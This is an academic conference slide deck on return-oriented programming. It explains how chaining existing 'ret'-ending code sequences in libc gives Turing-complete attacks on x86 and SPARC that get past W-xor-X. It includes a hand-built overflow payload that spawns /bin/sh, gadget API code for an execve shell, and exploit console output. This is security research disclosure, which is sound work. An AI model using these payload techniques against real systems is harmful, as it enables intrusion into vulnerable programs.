Return-oriented Programming: 
Exploitation without Code Injection

Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham
University of California, San Diego
Bad code versus bad behavior

“Bad” behavior

“Good” behavior

Attacker code

Application code

Problem: this implication is false!
The Return-oriented programming thesis

any sufficiently large program codebase

arbitrary attacker computation and behavior, \textit{without} code injection

(in the absence of control-flow integrity)
Security systems endangered:

- W-xor-X aka DEP
  - Linux, OpenBSD, Windows XP SP2, MacOS X
  - Hardware support: AMD NX bit, Intel XD bit
- Trusted computing
- Code signing: Xbox
- Binary hashing: Tripwire, etc.
- … and others
Return-into-libc and $W^X$
W-xor-X

- Industry response to code injection exploits
- Marks all writeable locations in a process’ address space as nonexecutable
- Deployment: Linux (via PaX patches); OpenBSD; Windows (since XP SP2); OS X (since 10.5); …
- Hardware support: Intel “XD” bit, AMD “NX” bit (and many RISC processors)
Return-into-libc

- Divert control flow of exploited program into libc code
  - `system()`, `printf()`, ...
- No code injection required

- Perception of return-into-libc: limited, easy to defeat
  - Attacker cannot execute arbitrary code
  - Attacker relies on contents of libc — remove `system()`?

- We show: this perception is false.
The Return-oriented programming thesis: return-into-libc special case

attacker control of stack

arbitrary attacker computation and behavior via return-into-libc techniques

(given any sufficiently large codebase to draw on)
Our return-into-libc generalization

- Gives Turing-complete exploit language
  - exploits aren’t straight-line limited
- Calls no functions at all
  - can’t be defanged by removing functions like system()
- On the x86, uses “found” insn sequences, not code intentionally placed in libc
  - difficult to defeat with compiler/assembler changes
Return-oriented programming

- connect back to attacker
- while socket not eof
- read line
- fork, exec named progs

... again:
  movi(s), chdecre
  cmpch, '|' jnz again
  jeq pipe ...

...
Related Work

- **Return-into-libc**: Solar Designer, 1997
  - Exploitation without code injection

- **Return-into-libc chaining with retpop**: Nergal, 2001
  - Function returns into another, with or without frame pointer

- **Register springs**, dark spyrit, 1999
  - Find unintended “jmp %reg” instructions in program text

- **Borrowed code chunks**, Krahmer 2005
  - Look for short code sequences ending in “ret”
  - Chain together using “ret”
Mounting attack

- Need control of memory around %esp
- Rewrite stack:
  - Buffer overflow on stack
  - Format string vuln to rewrite stack contents
- Move stack:
  - Overwrite saved frame pointer on stack; on leave/ret, move %esp to area under attacker control
  - Overflow function pointer to a register spring for %esp:
    - set or modify %esp from an attacker-controlled register
    - then return
Principles of return-oriented programming
Ordinary programming: the machine level

- Instruction pointer (%eip) determines which instruction to fetch & execute
- Once processor has executed the instruction, it automatically increments %eip to next instruction
- Control flow by changing value of %eip
Return-oriented programming: the machine level

- Stack pointer (%esp) determines which instruction sequence to fetch & execute
- Processor doesn’t automatically increment %esp; — but the “ret” at end of each instruction sequence does
No-ops

- No-op instruction does nothing but advance %eip
- Return-oriented equivalent:
  - point to return instruction
  - advances %esp
- Useful in nop sled
Immediate constants

- Instructions can encode constants
- Return-oriented equivalent:
  - Store on the stack;
  - Pop into register to use
Control flow

- Ordinary programming:
  - (Conditionally) set %eip to new value

- Return-oriented equivalent:
  - (Conditionally) set %esp to new value
**Gadgets: multiple instruction sequences**

- Sometimes more than one instruction sequence needed to encode logical unit
- Example: load from memory into register:
  - Load address of source word into %eax
  - Load memory at (%eax) into %ebx
A Gadget Menagerie
Gadget design

- Testbed: libc-2.3.5.so, Fedora Core 4
- Gadgets built from found code sequences:
  - load-store
  - arithmetic & logic
  - control flow
  - system calls

- Challenges:
  - Code sequences are challenging to use:
    - short; perform a small unit of work
    - no standard function prologue/epilogue
    - haphazard interface, not an ABI
  - Some convenient instructions not always available (e.g., lahf)
“The Gadget”: July 1945
Immediate rotate of memory word
Conditional jumps on the x86

- Many instructions set %eflags
- But the conditional jump insns perturb %eip, not %esp
- Our strategy:
  - Move flags to general-purpose register
  - Compute either \textit{delta} (if flag is 1) or 0 (if flag is 0)
  - Perturb %esp by the computed amount
Conditional jump, phase 1: load CF

(As a side effect, neg sets CF if its argument is nonzero)
Conditional jump, phase 2: store CF to memory
Computed jump, phase 3: compute $\textit{delta-or-zero}$

Bitwise and with delta (in %esi)

2s-complement negation:
0 becomes 0…0;
1 becomes 1…1
Computed jump, phase 4: perturb %esp using computed delta
Finding instruction sequences

(on the x86)
Finding instruction sequences

- Any instruction sequence ending in “ret” is useful — could be part of a gadget

- **Algorithmic problem**: recover all sequences of valid instructions from libc that end in a “ret” insn

- Idea: at each ret (c3 byte) look back:
  - are preceding $i$ bytes a valid length-$i$ insn?
  - recurse from found instructions

- Collect instruction sequences in a trie
Unintended instructions — ecb_crypt()

```
movl $0x00000001, -44(%ebp)

add %dh, %bh
```

```
test $0x00000007, %edi
```

```
movl $0x0F000000, (%edi)
```

```
xchg %ebp, %eax
inc%ebp
```

```
ret
```
Is return-oriented programming x86-specific?

(Spoiler: Answer is no.)
Assumptions in original attack

- Register-memory machine
  - Gives plentiful opportunities for accessing memory
- Register-starved
  - Multiple sequences likely to operate on same register
- Instructions are variable-length, unaligned
  - More instruction sequences exist in libc
  - Instructions types not issued by compiler may be available
- Unstructured call/ret ABI
  - Any sequence ending in a return is useful
- True on the x86 … not on RISC architectures
SPARC: the un-x86

- Load-store RISC machine
  - Only a few special instructions access memory
- Register-rich
  - 128 registers; 32 available to any given function
- All instructions 32 bits long; alignment enforced
  - No unintended instructions
- Highly structured calling convention
  - Register windows
  - Stack frames have specific format
Return-oriented programming on SPARC

- Use Solaris 10 libc: 1.3 MB

New techniques:
- Use instruction sequences that are *suffixes* of real functions
- Dataflow within a gadget:
  - Use structured dataflow to dovetail with calling convention
- Dataflow between gadgets:
  - Each gadget is memory-memory

- Turing-complete computation!

- **Conjecture**: Return-oriented programming likely possible on *every* architecture.
SPARC Architecture

- Registers:
  - %i[0-7], %l[0-7], %o[0-7]
  - Register banks and the “sliding register window”
  - “call; save”; “ret; restore”
SPARC Architecture

- Stack
  - Frame Ptr: %i6/%fp
  - Stack Ptr: %o6/%sp
  - Return Addr: %i7
  - Register save area

<table>
<thead>
<tr>
<th>Address</th>
<th>Storage</th>
</tr>
</thead>
<tbody>
<tr>
<td>%sp</td>
<td>Top of the stack</td>
</tr>
<tr>
<td>%sp - %sp+31</td>
<td>Saved registers %i[0-7]</td>
</tr>
<tr>
<td>%sp+32 - %sp+63</td>
<td>Saved registers %i[0-7]</td>
</tr>
<tr>
<td>%sp+64 - %sp+67</td>
<td>Return struct for next call</td>
</tr>
<tr>
<td>%sp+68 - %sp+91</td>
<td>Outgoing arg. 1-5 space for caller</td>
</tr>
<tr>
<td>%sp+92 - up</td>
<td>Outgoing arg. 6+ for caller (variable)</td>
</tr>
<tr>
<td>%sp++</td>
<td>Current local variables (variable)</td>
</tr>
<tr>
<td>%fp --</td>
<td>Top of the frame (previous %sp)</td>
</tr>
<tr>
<td>%fp - %fp+31</td>
<td>Prev. saved registers %i[0-7]</td>
</tr>
<tr>
<td>%fp+32 - %fp+63</td>
<td>Prev. saved registers %i[0-7]</td>
</tr>
<tr>
<td>%fp+64 - %fp+67</td>
<td>Return struct for current call</td>
</tr>
<tr>
<td>%fp+68 - %fp+91</td>
<td>Incoming arg. 1-5 space for callee</td>
</tr>
<tr>
<td>%fp+92 - up</td>
<td>Incoming arg. 6+ for callee (variable)</td>
</tr>
</tbody>
</table>
Dataflow strategy

- **Via register**
  - On restore, %i registers become %o registers
  - First sequence puts output in %i register
  - Second sequence reads from corresponding %o register

- **Write into stack frame**
  - On restore, spilled %i, %l registers read from stack
  - Earlier sequence writes to spill space for later sequence
Gadget operations implemented

- **Memory**
  - `v1 = &v2`
  - `v1 = *v2`
  - `*v1 = v2`

- **Assignment**
  - `v1 = Value`
  - `v1 = v2`

- **Function Calls**
  - `call Function`

- **System Calls**
  - `call syscall with arguments`

- **Math**
  - `v1++`
  - `v1--`
  - `v1 = -v2`
  - `v1 = v2 + v3`
  - `v1 = v2 - v3`

- **Logic**
  - `v1 = v2 & v3`
  - `v1 = v2 | v3`
  - `v1 = ~v2`

- **Control Flow**
  - **BA:** `jump T1`
  - **BE:** `if (v1 == v2):`
    - `jump T1,`
    - `else T2`
  - **BLE:** `if (v1 <= v2):`
    - `jump T1,`
    - `else T2`
  - **BGE:** `if (v1 >= v2):`
    - `jump T1,`
    - `else T2`
### Gadget: Addition

- \( v_1 = v_2 + v_3 \)

<table>
<thead>
<tr>
<th>Inst. Seq.</th>
<th>Preset</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>( m[&amp;i0] = v_2 )</td>
<td>( i0 = &amp;v2 ) ( +2 ) Frames</td>
<td>( ld [i0], i6 ) &lt;br&gt; ( st i6, [i7] ) &lt;br&gt; ( ret ) &lt;br&gt; ( restore )</td>
</tr>
<tr>
<td>( m[&amp;i3] = v_3 )</td>
<td>( i0 = &amp;v3 ) ( +1 ) Frame</td>
<td>( ld [i0], i6 ) &lt;br&gt; ( st i6, [i7] ) &lt;br&gt; ( ret ) &lt;br&gt; ( restore )</td>
</tr>
<tr>
<td>( v_1 = v_2 + v_3 )</td>
<td>( i0 = v_2 ) ( stored ) &lt;br&gt; ( i3 = v_3 ) ( stored ) &lt;br&gt; ( i4 = &amp;v1 )</td>
<td>( add i0, i3, i5 ) &lt;br&gt; ( st i5, [i4] ) &lt;br&gt; ( ret ) &lt;br&gt; ( restore )</td>
</tr>
</tbody>
</table>
Gadget: Branch Equal

if (v1 == v2):
    jump T1
else:
    jump T2

<table>
<thead>
<tr>
<th>Inst. Seq.</th>
<th>Preset</th>
<th>Assembly</th>
</tr>
</thead>
<tbody>
<tr>
<td>m[&amp;%10] = v1</td>
<td>%17 = &amp;%10</td>
<td>ld [%10], %16</td>
</tr>
<tr>
<td></td>
<td>(%2 Frames)</td>
<td>st %16, [%17]</td>
</tr>
<tr>
<td></td>
<td>%10 = kv1</td>
<td>ret restore</td>
</tr>
<tr>
<td>m[&amp;%12] = v2</td>
<td>%17 = &amp;%12</td>
<td>ld [%10], %16</td>
</tr>
<tr>
<td></td>
<td>(%1 Frame)</td>
<td>st %16, [%17]</td>
</tr>
<tr>
<td></td>
<td>%10 = kv2</td>
<td>ret restore</td>
</tr>
<tr>
<td>(v1 == v2)</td>
<td>%10 = v1 (stored)</td>
<td>cmp %10, %12</td>
</tr>
<tr>
<td></td>
<td>%12 = v2 (stored)</td>
<td>ret restore</td>
</tr>
<tr>
<td>if (v1 == v2):</td>
<td>%10 = T2 (NOT.EQ)</td>
<td>be,a 1 ahead</td>
</tr>
<tr>
<td></td>
<td>%10 = T1</td>
<td>sub %10,%12,%10</td>
</tr>
<tr>
<td>else:</td>
<td>%10 = T2</td>
<td>ret restore</td>
</tr>
<tr>
<td>m[&amp;%16] = %0</td>
<td>%i3 = &amp;%16</td>
<td>st %o0, [%i3]</td>
</tr>
<tr>
<td></td>
<td>(%2 Frame)</td>
<td>ret restore</td>
</tr>
<tr>
<td>jump T1 or T2</td>
<td>%i6 = T1 or T2</td>
<td>ret restore</td>
</tr>
<tr>
<td></td>
<td>(stored)</td>
<td>restore</td>
</tr>
</tbody>
</table>
Automation
Option 1: Write your own

- Hand-coded gadget layout

```
linux-x86% ./target `perl
 -e 'print "A"x68, pack("c*",
  0x3e, 0x78, 0x03, 0x03, 0x07,
  0x7f, 0x02, 0x03, 0x0b, 0x0b,
  0x0b, 0x0b, 0x18, 0xff, 0xff,
  0x4f, 0x30, 0x7f, 0x02, 0x03,
  0x4f, 0x37, 0x05, 0x03, 0xbd,
  0xad, 0x06, 0x03, 0x34, 0xff,
  0xff, 0x4f, 0x07, 0x7f, 0x02,
  0x03, 0x2c, 0xff, 0xff, 0x4f,
  0x30, 0xff, 0xff, 0x4f, 0x55,
  0xd7, 0x08, 0x03, 0x34, 0xff,
  0xff, 0x4f, 0xad, 0xfb, 0xca,
  0xde, 0x2f, 0x62, 0x6e, 0x6e,
  0x2f, 0x73, 0x68, 0x00)'`

sh-3.1$
```
Option 2: Gadget API

/* Gadget variable declarations */
g_var_t *num     = g_create_var(&prog, "num");
g_var_t *arg0a   = g_create_var(&prog, "arg0a");
g_var_t *arg0b   = g_create_var(&prog, "arg0b");
g_var_t *arg0Ptr = g_create_var(&prog, "arg0Ptr");
g_var_t *arg1Ptr = g_create_var(&prog, "arg1Ptr");
g_var_t *argvPtr = g_create_var(&prog, "argvPtr");

/* Gadget variable assignments (SYS_execve = 59)*/
g_assign_const(&prog, num, 59);
g_assign_const(&prog, arg0a, strToBytes("/bin"));
g_assign_const(&prog, arg0b, strToBytes("/sh"));
g_assign_addr( &prog, arg0Ptr, arg0a); g_assign_const(&prog, arg1Ptr, 0x0); /* Null */ g_assign_addr( &prog, argvPtr, arg0Ptr);
/* Trap to execve */
g_syscall(&prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL, NULL);
Gadget API compiler

- Describe program to attack:
  ```c
  char *vulnApp = "./demo-vuln";  /* Exec name of vulnerable app. */
  int vulnOffset = 336;  /* Offset to %i7 in overflowed frame. */
  int numVars = 50;  /* Estimate: Number of gadget variables */
  int numSeqs = 100;  /* Estimate: Number of inst. seq's (packed) */
  /* Create and Initialize Program *******************************************/
  init(&prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs);
  ```

- Compiler creates program to exploit vuln app
- Overflow in argv[1]; return-oriented payload in env
- Compiler avoids NUL bytes

(7 gadgets, 20 sequences
336 byte overflow
1280 byte payload)

```
sparc@sparc $ ./exploit
$```


Option 3: Return-oriented compiler

- Gives high-level interface to gadget API
- Same shellcode as before:

```c
vararg0 = "/bin/sh";
vararg0Ptr = &arg0;
vararg1Ptr = 0;

trap(59, &arg0, &(arg0Ptr), NULL);
```
Return-oriented selection sort — I

```c
var i, j, tmp, len = 10;
var* min, p1, p2, a;   // Pointers

srandom(time(0));       // Seed random()
a = malloc(40);          // a[10]
p1 = a;
printf("Unsorted Array:\n");
for (i = 0; i<len; ++i) {
    // Initialize to small random values
    *p1 = random() & 511;
    printf("%d, "), *p1);
    p1 = p1 + 4;  // p1++
}
```
Return-oriented selection sort — II

\[
\begin{align*}
p1 &= a; \\
\text{for} \ (i = 0; i < (len - 1); ++i) \ {\{ \\
&\quad \text{min} = p1; \\
&\quad p2 = p1 + 4; \\
&\quad \text{for} \ (j = (i + 1); j < len; ++j) \ {\{ \\
&\quad \text{if} \ (*p2 < *min) \ {\{ \text{min} = p2; \} \\
&\quad \quad p2 = p2 + 4; \ // \ p2++ \\
&\quad \} \\
&\quad // \ Swap \ p1 <-> min \\
&\quad \text{tmp} = *p1; \ *p1 = *min; \ *min = \text{tmp}; \\
&\quad p1 = p1 + 4; \ // \ p1++ \\
&\}} \\
\end{align*}
\]
Return-oriented selection sort — III

p1 = a;
printf("\n\nSorted Array: \n");
for (i = 0; i<len; ++i) {
    printf("%d, "), *p1);
    p1 = p1 + 4; // p1++
}
printf("\n");
free(a); // Free Memory
Selection sort — compiler output

- 24 KB payload: 152 gadgets, 381 instruction sequences
- No code injection!

```
sparc@sparc# ./SelectionSort

Unsorted Array:
486, 491, 37, 5, 166, 330, 103, 138, 233, 169,

Sorted Array:
5, 37, 103, 138, 166, 169, 233, 330, 486, 491,
```
Wrapping up
Conclusions

- Code injection is not necessary for arbitrary exploitation
- Defenses that distinguish “good code” from “bad code” are useless
- Return-oriented programming likely possible on every architecture, not just x86
- Compilers make sophisticated return-oriented exploits easy to write


http://cs.ucsd.edu/~hovav/